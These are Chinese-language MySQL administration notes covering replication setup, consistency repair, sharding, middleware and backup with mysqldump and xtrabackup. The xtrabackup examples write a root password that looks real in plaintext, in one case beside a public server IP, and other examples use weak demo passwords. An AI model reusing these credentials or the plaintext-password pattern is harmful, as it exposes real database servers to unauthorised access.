#InnoDB使用一个缓冲池来保存索引和原始数据, 可设置这个变量到物理内存大小的80%
innodb_buffer_pool_size = 24G
#用来同步IO操作的IO线程的数量
innodb_file_io_threads = 4
#在InnoDb核心内的允许线程数量,建议的设置是CPU数量加上磁盘数量的两倍
innodb_thread_concurrency = 16
# 用来缓冲日志数据的缓冲区的大小
innodb_log_buffer_size = 16M
# 在日志组中每个日志文件的大小
innodb_log_file_size = 512M
# 在日志组中的文件总数
innodb_log_files_in_group = 3
# SQL语句在被回滚前,InnoDB事务等待InnoDB行锁的时间
innodb_lock_wait_timeout = 120
#慢查询时长
long_query_time = 2
#将没有使用索引的查询也记录下来
log-queries-not-using-indexes

MySQL 配置最佳实践

主从复制

主从复制用来做读写分离,主节点负责写,从节点负责读

默认异步复制,客户端性能良好,但是主从数据不一致比较常见

主从复制架构,常用的有三种:

mycat-definitive-guide.pdf

主从复制原理:

涉及到三个线程,dump 线程、io 线程、sql 线程,它们三个接力完成主从复制

dump 线程自动启动,io 线程和 sql 线程使用start slave;命令手动启动

  1. 主节点 数据更新
  2. 主节点 将数据库更改的操作写入二进制日志
  3. 主节点 的 dump 线程,将更改的二进制部分发送给从节点
  4. 从节点 的 io 线程接收主节点发过来的二进制日志,并写入到中继日志中
  5. 从节点 的 sql 线程读取中继日志,操作数据库,从而完成数据同步

relay log:中继日志,就是从主节点拷贝的二进制日志,重新命名而已,主要二进制日志不要使用 STATEMENT 模式,推荐使用 ROW 模式

实现主从复制

必要的配置项说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[mysqld]
# 当前节点的id号,要求全局唯一,可以使用ip的最后一位`hostname -I | awk 'BEGIN{FS="."}{print $4}'`
server-id = 1
# 开启二进制日志
log_bin = mysql-bin
# 10000次事件后master.info同步到磁盘,默认就是10000,主节点设置
sync-master-info = 10000

# 设置只读,从节点设置
read_only=ON
# relay log的文件路径,默认值hostname-relay-bin,从节点设置
relay_log=relay-log
# 默认值hostname-relay-bin.index,从节点设置
relay_log_index=relay-log.index
# 10000次写后同步relay log到磁盘,默认就是10000,从节点设置
sync_relay_log=10000
# 10000次事务后同步relay-log.info到磁盘,默认就是10000,从节点设置
sync_relay_log_info=10000

相关文件:

  • master.info:用于保存 slave 连接至 master 时的相关信息,例如账号、密码、服务器地址等
  • relay-log.info:保存在当前 slave 节点上已经复制的当前二进制日志和本地 relay log 日志的对应关系
  • mariadb-relay-bin.00000#: 中继日志,保存从主节点复制过来的二进制日志,本质就是二进制日志

启动从节点的命令:CHANGE MASTER TO

1
2
3
4
5
6
7
8
9
# help CHANGE MASTER TO; 查看范例
CHANGE MASTER TO
MASTER_HOST='master2.example.com',
MASTER_USER='replication',
MASTER_PASSWORD='password',
MASTER_PORT=3306,
MASTER_LOG_FILE='master2-bin.001',
MASTER_LOG_POS=4,
MASTER_CONNECT_RETRY=10;

范例:一主一从

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 主节点:10.0.0.71
# 1 如果是从零搭建,数据库是空的,如下,记住 mysql-bin.000002 和 154
(root@localhost) [(none)]> show master logs;
+------------------+-----------+
| Log_name | File_size |
+------------------+-----------+
| mysql-bin.000001 | 177 |
| mysql-bin.000002 | 154 |
+------------------+-----------+
3 rows in set (0.00 sec)
# 2 创建有复制权限的用户账号
(root@localhost) [(none)]>CREATE USER 'repluser'@'10.0.0.%' IDENTIFIED BY "123456";
(root@localhost) [(none)]>GRANT replication slave ON *.* TO 'repluser'@'10.0.0.%';
(root@localhost) [(none)]>FLUSH PRIVILEGES;

# 3 使用xtrabackup全量备份数据库,将备份的数据scp到从节点,从节点还原数据

# 从节点:10.0.0.72
[root@c72 ~]$vim slave.conf
CHANGE MASTER TO
MASTER_HOST='10.0.0.71',
MASTER_USER='repluser',
MASTER_PASSWORD='123456',
MASTER_PORT=3306,
MASTER_LOG_FILE='mysql-bin.000002',
MASTER_LOG_POS=154,
MASTER_CONNECT_RETRY=10;
# 如果已经使用xtrabackup还原了数据
[root@c72 ~]$cat /data/backup/base/xtrabackup_binlog_info
mysql-bin.000002 11285
CHANGE MASTER TO
MASTER_HOST='10.0.0.71',
MASTER_USER='repluser',
MASTER_PASSWORD='123456',
MASTER_PORT=3306,
MASTER_LOG_FILE='mysql-bin.000002',
MASTER_LOG_POS=11285,
MASTER_CONNECT_RETRY=10;
# 4 启动从节点
(root@localhost) [(none)]>source ~/slave.conf
(root@localhost) [(none)]>start slave;

# 从节点清除master.info ,relay-log.info, relay log ,开始新的relay log
(root@localhost) [(none)]>stop slave;
(root@localhost) [(none)]>RESET SLAVE;

# 从节点清除master.info ,relay-log.info, relay log ,开始新的relay log,
# 并清除和主节点的同步信息,如果再和主节点同步需要重新执行CHANGE MASTER TO语句
(root@localhost) [(none)]>stop slave;
(root@localhost) [(none)]>RESET SLAVE ALL;

范例:当主节点宕机,提升一个从节点为新的主节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1 找到哪个从节点的数据库是最新,让它成为新主节点
[root@centos8 ~]#cat /var/lib/mysql/relay-log.info
5
./mariadb-relay-bin.000002
1180
mysql-bin.000002
996
0
# 2 新主节点修改配置文件,关闭read-only配置
# 3 清除之前的主从复制信息
(root@localhost) [(none)]>stop slave;
(root@localhost) [(none)]>RESET SLAVE ALL;
# 4 新主节点使用xtrabackup全量备份
# 5 其他从节点重新还原数据库,指向新的主节点

实现级联复制

关键点在于中间的级联节点需要添加 log_slave_updates 配置项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# 在10.0.0.8充当master
# 在10.0.0.18充当级联slave
# 在10.0.0.28充当slave

# 在master实现
[root@centos8 ~]#vim /etc/my.cnf.d/mariadb-server.cnf
[mysqld]
server-id=8
log-bin

[root@centos8 ~]#systemctl restart mariadb
[root@centos8 ~]#mysql
MariaDB [(none)]> grant replication slave on *.* to repluser@'10.0.0.%'
identified by 'magedu';
[root@centos8 ~]#mysqldump -A -F --single-transaction --master-data=1 >
/data/all.sql
[root@centos8 ~]#scp /data/all.sql 10.0.0.18:/data
[root@centos8 ~]#scp /data/all.sql 10.0.0.28:/data

# 在中间级联slave实现
[root@centos8 ~]#vim /etc/my.cnf.d/mariadb-server.cnf
[mysqld]
server-id=18
log-bin
read-only
log_slave_updates #级联复制中间节点的必选项
[root@centos8 ~]#systemctl restart mariadb

# 还原数据库
[root@centos8 ~]#vim /data/all.sql
CHANGE MASTER TO
MASTER_HOST='master节点的iP',
MASTER_USER='repluser',
MASTER_PASSWORD='centos',
MASTER_PORT=3306,
MASTER_LOG_FILE='mysql-bin.000004',
MASTER_LOG_POS=523;

[root@centos8 ~]#mysql
MariaDB [(none)]> set sql_log_bin=0;
MariaDB [(none)]> source /data/all.sql
MariaDB [(none)]> show master logs; #记录二进制位置,给第三个节点使用
MariaDB [(none)]> set sql_log_bin=0;
MariaDB [(none)]> start slave;

# 在第三个节点slave上实现
[root@centos8 ~]#vim /etc/my.cnf.d/mariadb-server.cnf
[mysqld]
server-id=28
read-only
[root@centos8 ~]#systemctl restart mariadb
[root@centos8 ~]#vim /data/all.sql
CHANGE MASTER TO
MASTER_HOST='中间节点的IP',
MASTER_USER='repluser',
MASTER_PASSWORD='magedu',
MASTER_PORT=3306,
MASTER_LOG_FILE='mariadb-bin.000002', MASTER_LOG_POS=344;
[root@centos8 ~]#mysql < /data/all.sql
[root@centos8 ~]#mysql -e 'start slave;'

半同步复制

主从复制基于 binary log,默认情况下,客户端操作数据库,数据库修改 binary log,返回结果给客户端,然后再将 binary log 推送给从节点,这就是异步复制,客户端体验好

MySQL 还提供了另一种主从同步方式:客户端操作数据库,数据库修改 binary log,将 binary log 推送给从节点,从节点收到后马上返回 binary log(file log),然后再将 binary log 应用到数据库,主节点接收到从节点返回的信息后再返回结果给客户端,因为主节点只是确认从节点是否正确接收到 binary log,而不是等待从节点完全完成主从复制,所以这种同步叫半同步复制

半同步复制可以设置时间,超时还没有等到从节点的回复,就不等了,直接返回成功的结果给客户端

主从复制加密

默认的主从复制,传输过程是明文的,如果想加密,可以使用 SSL/TLS 加密

GTID 复制

传统的主从复制基于二进制日志,需要指定二进制日志和日志位置,从 mysql5.6 开始,支持 GTID 复制,基于 server-uuid,不需要指定二进制日志和日志位置,由主从节点自己协商同步

主从复制的监控和维护

清理日志

1
2
3
PURGE { BINARY | MASTER } LOGS { TO 'log_name' | BEFORE datetime_expr }
RESET MASTER TO
RESET SLAVE [ALL]

监控主从复制

1
2
3
4
5
SHOW MASTER STATUS
SHOW BINARY LOGS
SHOW BINLOG EVENTS
SHOW SLAVE STATUS
SHOW PROCESSLIST

从服务器是否落后于主服务

show slave status命令显示的信息中有一项数据是:Seconds_Behind_Master,它可以反映主从复制的延迟,当然实际中只靠这一个参数是不够的,其他的后面再研究

如何确定从节点数据是否一致

使用 percona-toolkit 工具,具体如何使用自行百度

数据不一致如何修复

删掉从数据库,重新复制

主从复制的问题和解决方案

数据损坏或丢失

  • 主节点:MHA + 半同步复制
  • 从节点:删掉从数据库,重新复制

不惟一的 server id

重新复制

复制延迟

  • 需要额外的监控工具的辅助
  • 一从多主:mariadb10 版后支持
  • 多线程复制:对多个数据库复制

MySQL 主从数据不一致

造成主从不一致的原因:

  • 主库 binlog 格式为 Statement,同步到从库执行后可能造成主从不一致。
  • 主库执行更改前有执行 set sql_log_bin=0,会使主库不记录 binlog,从库也无法变更这部分数据。
  • 从节点未设置只读,误操作写入数据
  • 主库或从库意外宕机,宕机可能会造成 binlog 或者 relaylog 文件出现损坏,导致主从不一致
  • 主从实例版本不一致,特别是高版本是主,低版本为从的情况下,主数据库上面支持的功能,从数据库上面可能不支持该功能
  • MySQL 自身 bug 导致

主从不一致修复方法:

  • 将从库重新实现
    虽然这也是一种解决方法,但是这个方案恢复时间比较慢,而且有时候从库也是承担一部分的查询操作的,不能贸然重建。

  • 使用 percona-toolkit 工具辅助
    PT 工具包中包含 pt-table-checksum 和 pt-table-sync 两个工具,主要用于检测主从是否一致以及修复数据不一致情况。这种方案优点是修复速度快,不需要停止主从辅助,缺点是需要知识积累,需要时间去学习,去测试,特别是在生产环境,还是要小心使用

    关于使用方法,可以参考下面链接:https://www.cnblogs.com/feiren/p/7777218.html

  • 手动重建不一致的表
    在从库发现某几张表与主库数据不一致,而这几张表数据量也比较大,手工比对数据不现实,并且重做整个库也比较慢,这个时候可以只重做这几张表来修复主从不一致这种方案缺点是在执行导入期间需要暂时停止从库复制,不过也是可以接受的
    范例:A,B,C 这三张表主从数据不一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1、从库停止Slave复制
mysql>stop slave;

2、在主库上dump这三张表,并记录下同步的binlog和POS点
mysqldump -uroot -pmagedu -q --single-transaction --master-data=2 testdb A B C >/backup/A_B_C.sql
3、查看A_B_C.sql文件,找出记录的binlog和POS点
head A_B_C.sql
例如:MASTERLOGFILE='mysql-bin.888888', MASTERLOGPOS=666666;

#以下指令是为了保障其他表的数据不丢失,一直同步直到那个点结束,A,B,C表的数据在之前的备份已
经生成了一份快照,只需要导入进入,然后开启同步即可
4、把A_B_C.sql拷贝到Slave机器上,并做指向新位置
mysql>start slave until MASTERLOGFILE='mysql-bin.888888',
MASTERLOGPOS=666666;

5、在Slave机器上导入A_B_C.sql
mysql -uroot -pmagedu testdb
mysql>set sql_log_bin=0;
mysql>source /backup/A_B_C.sql
mysql>set sql_log_bin=1;

6、导入完毕后,从库开启同步即可。
mysql>start slave;

如何避免主从不一致:

  • 主库 binlog 采用 ROW 格式
  • 主从实例数据库版本保持一致
  • 主库做好账号权限把控,不可以执行 set sql_log_bin=0
  • 从库开启只读,不允许人为写入
  • 定期进行主从一致性检验

Galera Cluster

Galera Cluster:集成了 Galera 插件的 MySQL 集群,是一种新型的,数据不共享的,高度冗余的高可用方案,目前 Galera Cluster 有两个版本,分别是 Percona Xtradb Cluster(PXC)及 MariaDB Cluster,Galera 本身是具有多主特性的,即采用 multi-master 的集群架构,是一个既稳健,又在数据一致性、完整性及高性能方面有出色表现的高可用解决方案

Galera Cluster 特点:多主架构、同步复制、并发复制、故障切换、热拔插、自动节点克隆、对应用透明

Galera Cluster 缺点:

  • 性能由集群中最差的节点决定
  • 新节点加入后,需全量拷贝,作为 donor(贡献者)的节点在同步过程中无法提供读写
  • 只支持 innodb 存储引擎的表

Galera Cluster 工作过程:

MySQL 中间件代理服务器

数据切分

数据切分按照切分类型分为 垂直切分 和 水平切分

垂直切分是按照业务的分类将表分散到不同的库,这样也就将数据或者说压力分散到不同的库上面

优点:

  • 拆分后业务清晰,拆分规则明确
  • 系统之间整合或扩展容易
  • 数据维护简单

缺点:

  • 部分业务表无法 join,只能通过接口方式解决,提高了系统的复杂度
  • 事务处理复杂
  • 有些业务表会过于庞大,存在单库性能瓶颈

水平切分按照某个字段的某种规则,把数据切分到多张数据表。一张数据表化整为零,拆分成多张数据表

优点:

  • 拆分规则抽象好,join 操作基本可以数据库做
  • 不存在单库大数据,高并发的性能瓶颈
  • 应用端改造较少
  • 提高了系统的稳定性跟负载能力

缺点:

  • 拆分规则难以抽象
  • 分片事务一致性难以解决
  • 数据多次扩展难度跟维护量极大
  • 跨库 join 性能较差

前面讲了垂直切分跟水平切分的不同跟优缺点,会发现每种切分方式都有缺点,但共同特点缺点有:

  • 引入分布式事务的问题
  • 跨节点 Join 的问题
  • 跨节点合并排序分页问题
  • 多数据源管理问题

由于数据切分后,join 有难度,所以:

  1. 尽量不要使用 join,或者直接禁止使用 join,单独查询然后使用编程语言自行处理
  2. 可以适当增加冗余字段

注意:水平切分和垂直切分有前后顺序:先水平切分,再垂直切分:

随着数据量的增加,最先应该做的是数据分片,利用多块硬盘来增大数据 IO 能力和存储空间,这么做的成本是最低的。几块硬盘的钱就能收获不错的 IO 性能。

进入到下一个阶段,数据量继续增大,这时候我们应该把数据切分到多个 MySQL 节点上,用 MyCat 管理数据切分。当然还要做数据的读写分离等等,这里不展开讨论。在后台做水平切分的同时,业务系统也可以引入负载均衡、分布式架构等等。理论上,使用了冷热数据分离之后,水平切分这种方式可以继续维持很长一段时间,数据量再大也不怕,定期归档就好了。

数据库到了水平切分的阶段,数据量的增加已经不是更改架构设计的主要原因了。反而这个阶段业务系统承受不住了,如果再不对系统做模块拆分,业务系统也撑不下去了,所以按照模块和业务,把一个系统拆分成若干子系统。若干子系统之间,数据相对独立。比如淘宝不会跟支付支付宝分享全部数据,共享同一套数据表,这也影响各自业务的发展。所以就要弄垂直切分了,把数据表归类,拆分成若干个数据库系统。

讲到这里,你仔细想想。如果过早的对数据库做了垂直切分,势必要重新构建若干独立的业务系统,工作量太巨大。水平切分并不需要业务系统做大幅度的修改,因此说应该先从水平切分开始做。

作者:神思者
链接:http://www.imooc.com/article/288363
来源:慕课网
本文原创发布于慕课网 ,转载请注明出处,谢谢合作

MySQL 中间件

数据切分后,需要使用中间件进行数据管理

MySQL 中间件分为两类:

  • 负载均衡:Haproxy、MySQL-Proxy

  • 数据切分:MyCAT、Atlas、OneProxy、ProxySQL

    最常用的是 MyCAT 和 ProxySQL ,前者功能丰富,社区活跃,中文文档、后者性能更好,推荐使用 MyCAT

MyCAT

MyCAT 的官方文档写的很好,值得好好看一遍

ProxySQL

略…

MySQL 高可用

MHA + 半同步复制

PXC

TiDB

概述

备份类型

  • 完全备份、部分备份、增量备份差异备份

    • 完全备份:整个数据集
    • 部分备份:只备份数据子集,如部分库或表
    • 增量备份:仅备份最近一次完全备份或者增量备份(如果有增量备份)以来变化的数据,备份较快,还原复杂
    • 差异备份:仅备份最近一次完全备份以来变化的数据,备份较慢,还原简单

    注意:二进制日志文件不应该与数据文件放在同一磁盘

  • 冷备份、温备份、热备份

    • 冷备:读写操作均不可进行,数据库停止服务
    • 温备:读操作可执行,但写操作不可执行
    • 热备:读写操作均可执行
    1
    2
    3
    MyISAM:支持温备,不支持热备

    InnoDB:都支持
  • 物理备份、逻辑备份

    • 物理备份:直接复制数据文件进行备份,与存储引擎有关,占用较多的空间,速度快
    • 逻辑备份:从数据库中“到处”数据另存而进行的备份,与存储引擎无关,占用空间少,速度慢,可能丢失精度

增量备份 图示:

增量备份

差异备份 图示:

差异备份

推荐:增量备份 + 热备 + 物理备份

备份什么

  • 数据
  • 二进制日志、InnoDB 的事务日志
  • 用户帐号,权限设置,程序代码(存储过程、函数、触发器、事件调度器)
  • 服务器的配置文件

备份注意要点

  • 能容忍最多丢失多少数据
  • 备份产生的负载
  • 备份过程的时长
  • 温备的持锁多久
  • 恢复数据需要在多长时间内完成
  • 需要备份和恢复哪些数据

还原要点

  • 做还原测试,用于测试备份的可用性
  • 还原演练,写成规范的技术文档

备份工具

  • cp, ta r 等复制归档工具:物理备份工具,适用所有存储引擎;只支持冷备份
  • LVM 的快照:先加读锁,做快照后解锁,几乎热备;借助文件系统工具进行备份
  • mysqldump:逻辑备份工具,适用所有存储引擎,对 MyISAM 存储引擎进行温备;支持完全或部分备份;对 InnoDB 存储引擎支持热备,结合 binlog 的增量备份
  • xtrabackup:由 Percona 提供支持对 InnoDB 做热备(物理备份)的工具,支持完全备份、增量备份
  • MariaDB Backup: 从 MariaDB 10.1.26 开始集成,基于 Percona XtraBackup 2.3.8 实现
  • mysqlbackup:热备份, MySQL Enterprise Edition 组件
  • mysqlhotcopy:PERL 语言实现,几乎冷备,仅适用于 MyISAM 存储引擎,使用 LOCK TABLES、
  • FLUSH TABLES 和 cp 或 scp 来快速备份数据库

基于 LVM 的快照备份

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1 请求锁定所有表
mysql> FLUSH TABLES WITH READ LOCK;
# 2 记录二进制日志文件及事件位置
mysql> FLUSH LOGS;
mysql> SHOW MASTER STATUS;
mysql -e 'SHOW MASTER STATUS' > /PATH/TO/SOMEFILE
# 3 创建快照
lvcreate -L # -s -p r -n NAME /DEV/VG_NAME/LV_NAME
# 4 释放锁
mysql> UNLOCK TABLES;
# 5 挂载快照卷,执行数据备份
# 6 备份完成后,删除快照卷
# 7 制定好策略,通过原卷备份二进制日志

冷备份和还原

冷备份和还原需要停止数据库服务

1
2
3
4
5
6
7
# 1 关闭数据库
# 2 `scp -r` 或 `rsync -av` 导出数据和二进制日志文件
# 3 启动数据库
# 4 发送故障,关闭数据库
# 5 `scp -r` 或 `rsync -av`还原数据
# 6 对需要权限的文件执行 `chown -R mysql:mysql`
# 7 启动数据库

mysqldump

mysqldump 是逻辑备份工具,是 MySQL 的客户端工具,通过 mysql 协议连接至 mysql 服务器进行备份

1
2
3
4
5
6
# 支持指定数据库和指定多表的备份,默认创建数据库语句不备份,创建表语句备份
mysqldump [OPTIONS] database [tables]
# 支持指定数据库备份,创建数据库语句也会备份
mysqldump [OPTIONS] -B DB1 [DB2 DB3...]
# 备份所有数据库,创建数据库语句也会备份
mysqldump [OPTIONS] -A [OPTIONS]

常见选项:

  • -A:备份所有数据库,包含 create database 语句

    • -A 包括 mysql 数据库,但不包括 information_schema 和 performance_schema
  • -B db_name…:备份指定的数据库,包含 create database 语句

  • –flush-privileges:-A 包含了 mysql 数据库,其中包含了权限的数据库,需要加上–flush-privileges,将来恢复的时候权限才会生效

  • -n:不备份 create database 语句,会被-A 或-B 覆盖

  • -t:只备份数据,不备份表结构,即不备份 create table 语句

  • -d:只备份表结构,不备份数据,即只备份 create table 语句

  • -E:备份相关的所有 event scheduler

  • -R:备份所有存储过程和自定义函数

  • –triggers:备份表相关触发器,默认启用,用 –skip-triggers 不备份触发器

  • –default-character-set=utf8mb4:指定字符集

  • –single-transaction:置事务的隔离级别为可重复读,即 REPEATABLE READ,这样能保证在一个事务中所有相同的查询读取到同样的数据,也就大概保证了在 dump 期间,如果其他 innodb 引擎的线程修改了表的数据并提交,对该 dump 线程的数据并无影响,在这期间不会锁表

  • –master-data=1|2

    此选项会自动关闭–lock-tables 功能,自动打开-x | –lock-all-tables 功能(除非开启–single-transaction)

    • 1:默认值,所备份的数据之前加一条记录为 CHANGE MASTER TO 语句,适合于主从复制多机使用
    • 2:所备份的数据之前加一条记录为 CHANGE MASTER TO 语句,但是被注释,适合于单机使用
  • -F:在 dump 之前会执行--flush-logs刷新日志。使用-A 或-B 时一次性 dump 多个库,每个库都会刷新一次。建议搭配–master-data 或–lock-all-tables,就只会刷新一次

  • –compact:去掉注释,节约备份占用的空间,适合调试,生产不使用

  • -f:忽略 SQL 错误,继续执行

  • –hex-blob:使用十六进制符号转储二进制列,当有包括 BINARY, VARBINARY,BLOB,BIT 的数据类型的列时使用,避免乱码

  • -q:不缓存查询,直接输出,加快备份速度

mysqldump 备份的最佳姿势

Innodb

1
2
3
4
5
6
7
8
9
10
11
12
mysqldump -uroot -p \
-A \
-F \
-E \
-R \
--triggers \
--single-transaction \
--master-data=1 \
--flush-privileges \
--default-character-set=utf8mb4 \
--hex-blob \
> ${BACKUP}/fullbak_${BACKUP_TIME}.sql

MyISAM

1
2
3
4
5
6
7
8
9
10
11
12
mysqldump -uroot -p \
-A \
-F \
-E \
-R \
-x \
--master-data=1 \
--flush-privileges \
--triggers \
--default-character-set=utf8mb4 \
--hex-blob \
> ${BACKUP}/fullbak_${BACKUP_TIME}.sql

实战案例

  • mysqldump 结合二进制日志文件实现增量备份

数据库接手的时候,早期的二进制日志文件已经没有了,此时可以先用 msyqldump 做全量备份,然后再定期备份二进制日志文件

  • 恢复误删除的表

每天都全量备份,误删数据表,该如何恢复?

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1 关闭数据库服务
# 2 从完全备份(allbackup_2019-11-27_10:20:08.sql)中,找到二进制日志位置
# 3 备份完全备份后的二进制日志(inc.sql)
# 4 找到误删除的语句,从二进制日志备份中删除此语句
# 5 关闭端口或者其他方式,禁止用户访问数据库
# 6 启动数据库
# 7 开始恢复数据
[root@centos8 ~]#mysql -uroot -p
MariaDB [hellodb]> set sql_log_bin=0;
MariaDB [hellodb]> source /backup/allbackup_2019-11-27_10:20:08.sql;
MariaDB [hellodb]> source /backup/inc.sql
MariaDB [hellodb]> set sql_log_bin=1;
# 7 打开端口或者其他方式,恢复正常服务

xtrabackup

xtrabackup 是一个开源的 mysql 数据库备份工具,支持 InnoD 和 XtraDB 引擎

mysqldump 基于逻辑备份,备份和还原比较慢,增量备份(配合二进制日志)需要自己写脚本

xtrabackup 基于物理备份,备份和还原很快,自动化增量备份

mysqldump 的优点是相较于 xtrabackup,备份文件更小,节省磁盘空间

当数据量比较大的时候,推荐使用 xtrabackup 备份

xtrabackup 特点:

  • 备份还原过程快速、可靠
  • 备份过程不会打断正在执行的事务
  • 能够基于压缩等功能节约磁盘空间和流量
  • 自动实现备份检验
  • 开源,免费

xtrabackup 备份过程:

安装:

xtrabackup2.4 支持 mysql5.7,xtrabackup8.0 支持 mysql8.0,这里以 2.4 版本为例,2.4 版本和 8.0 差不多,和旧版本有不少出入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 去官网下载最新的版本,然后安装
[root@c71 src]# yum -y install ./percona-xtrabackup-24-2.4.20-1.el7.x86_64.rpm
[root@c72 src]$rpm -qi percona-xtrabackup-24-2.4.20-1.el7
Name : percona-xtrabackup-24
Version : 2.4.20
Release : 1.el7
Architecture: x86_64
Install Date: Fri 23 Oct 2020 09:40:03 AM CST
Group : Applications/Databases
Size : 33240760
License : GPLv2
Signature : RSA/SHA256, Tue 21 Apr 2020 04:45:08 AM CST, Key ID 9334a25f8507efa5
Source RPM : percona-xtrabackup-24-2.4.20-1.el7.src.rpm
Build Date : Tue 21 Apr 2020 04:44:27 AM CST
Build Host : minimal-centos-7-x64-623.ci.percona.com
Relocations : (not relocatable)
URL : http://www.percona.com/software/percona-xtrabackup
Summary : XtraBackup online backup for MySQL / InnoDB
Description :
Percona XtraBackup is OpenSource online (non-blockable) backup solution for InnoDB and XtraDB engines
[root@c72 src]$rpm -ql percona-xtrabackup-24-2.4.20-1.el7
/usr/bin/innobackupex
/usr/bin/xbcloud
/usr/bin/xbcloud_osenv
/usr/bin/xbcrypt
/usr/bin/xbstream
/usr/bin/xtrabackup
/usr/lib64/xtrabackup/plugin/keyring_file.so
/usr/lib64/xtrabackup/plugin/keyring_vault.so
/usr/share/doc/percona-xtrabackup-24-2.4.20
/usr/share/doc/percona-xtrabackup-24-2.4.20/COPYING
/usr/share/man/man1/innobackupex.1.gz
/usr/share/man/man1/xbcrypt.1.gz
/usr/share/man/man1/xbstream.1.gz
/usr/share/man/man1/xtrabackup.1.gz

用法:

xtrabackup 工具备份和还原,需要三步实现:

  1. 备份,对数据库做完全或者增量备份
  2. 预准备:还原前,先对备份的数据,整理至一个临时目录
  3. 还原:将整理好的数据,复制回数据库目录中
1
2
3
4
5
6
# 备份
xtrabackup [--defaults-file=/etc/my.cnf] --backup [OPTIONS]
# 预准备
xtrabackup [--defaults-file=/etc/my.cnf] --prepare [OPTIONS]
# 还原
xtrabackup [--defaults-file=/etc/my.cnf] --copy-back [OPTIONS]

OPTIONS:

  • –defaults-file:该选项指定从哪个文件读取 MySQL 配置,必须放在命令行第一个选项位置
  • -u:user 该选项表示备份账号
  • -p:password 该选项表示备份的密码
  • -h:host 该选项表示备份数据库的地址
  • –backup:备份
  • –databases:该选项接受的参数为数据库名,如果要指定多个数据库,彼此间需要以空格隔开;
    如:”xtra_test dba_test”,同时,在指定某数据库时,也可以只指定其中的某张表。
    如:”mydatabase.mytable”。该选项对 innodb 引擎表无效,还是会备份所有 innodb 表
  • –incremental-basedir:该选项指定为前一次全备份或增量备份的目录,与–incremental 同时使用
  • –prepare:预准备
  • –apply-log-only:预准备的过程中,默认回滚未完成的事务,–apply-log 选项能阻止回滚
  • –copy-back:还原,拷贝整理好的备份数据到 datadir
  • –incremental-dir:该选项表示还原时增量备份的目录

还原注意事项:

  1. 保证 datadir 目录为空
  2. 还原期间关闭 mysql 服务
  3. 重新启动之前,需要chown -R mysql:mysql datadir

范例 1:完全备份及还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 全量备份
[root@4710419222 backup]$mkdir /data/backup
[root@4710419222 backup]$xtrabackup -uroot -pLujinkai0? --backup --target-dir=/data/backup/base

# 切换到10.0.0.71
# 将全量备份拷贝过来
[root@c71 data]$scp -r root@47.104.192.22:/data/backup ./
# 关闭数据库
[root@c71 data]$systemctl stop mysql.service
# 清除数据库,确保datadir目录为空
[root@c71 data]$rm -rf /data/mysql/*
# 预准备,因为只有一次预准备,所以不加--apply-log-only,提交完成的事务,回滚未完成事务,确保数据一致
[root@c71 data]$xtrabackup --prepare --target-dir=/data/backup/base
# 复制预准备完的数据到数据库目录
[root@c71 data]$xtrabackup --copy-back --target-dir=/data/backup/base
[root@c71 data]$chown -R mysql:mysql /data/mysql/
# 启动数据库
[root@c71 data]$systemctl start mysqld.service

范例 2:完全、增量备份及还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 全量备份
[root@c71 ~]$xtrabackup -uroot -pLujinkai0? --backup --target-dir=/data/backup/base
# 第一次增量备份
[root@c71 base]$xtrabackup -uroot -pLujinkai0? --backup --target-dir=/data/backup/inc1 --incremental-basedir=/data/backup/base
# 第二次增量备份
[root@c71 base]$xtrabackup -uroot -pLujinkai0? --backup --target-dir=/data/backup/inc2 --incremental-basedir=/data/backup/inc1
[root@c71 base]$ll /data/backup/
total 12
drwxr-x--- 10 root root 4096 Oct 23 10:56 base
drwxr-x--- 10 root root 4096 Oct 23 10:54 inc1
drwxr-x--- 10 root root 4096 Oct 23 10:58 inc2

# 预准备,除了最后一次预准备,其余的都需要加--apply-log-only参数
[root@c71 base]$xtrabackup --prepare --apply-log-only --target-dir=/data/backup/base
[root@c71 base]$xtrabackup --prepare --apply-log-only --target-dir=/data/backup/base --incremental-dir=/data/backup/inc1
[root@c71 base]$xtrabackup --prepare --target-dir=/data/backup/base --incremental-dir=/data/backup/inc2

# 还原
[root@c71 base]$systemctl stop mysqld.service
[root@c71 base]$rm -rf /data/mysql/*
[root@c71 base]$ll /data/mysql/
total 0
[root@c71 base]$xtrabackup --copy-back --target-dir=/data/backup/base
[root@c71 base]$chown -R mysql:mysql /data/mysql/
[root@c71 base]$systemctl start mysqld.service

MySQL 是 C/S 架构,上图是 MySQL 的架构图,从上到下:

  • connectors:连接器,编程语言角度可以理解为连入数据库的驱动,mysql 角度称作专用语言对应的链接器

  • connection pool:mysql 是单进程多线程模型,每个用户连接,都会创建一个单独的连接线程,connection pool 的作用就是维护线程池,管理众多线程应对众多客户端的并发请求,完成并发相应,对于 mysql,它实现的功能包括:

    • authentication:用户认证,校验账号密码
    • thread reuse:线程重用,用户退出后,线程有可能并非被销毁,而是把它清理完以后,重新收归到线程池当中的空闲线程中去,以完成所谓的线程重用
    • connection limit:限制线程池的线程数量,决定并发连接的数量,超过上限则排队或拒绝
    • check memory:检测内存
    • caches:线程缓存
  • SQL Interface:SQL 解释器 或 SQL 接口,可以理解为 mysql 的外壳,就像 shell 是 linux 的外壳一样。对 SQL 语句做词法分析、句法分析

  • parser:分析器,解释器分析语法是否有错误,分析器做执行分析,或者加查询翻译,例如 connection pool 校验用户是否合法,parser 检查用户是否有操作权限

  • optimizer:查询优化器,提高 SQL 的执行效率

  • caches & buffers:从 mysql8.0 开始已被取消,推荐使用 Redis、Memcached 等软件

  • pluggable storage engines:插件式存储引擎

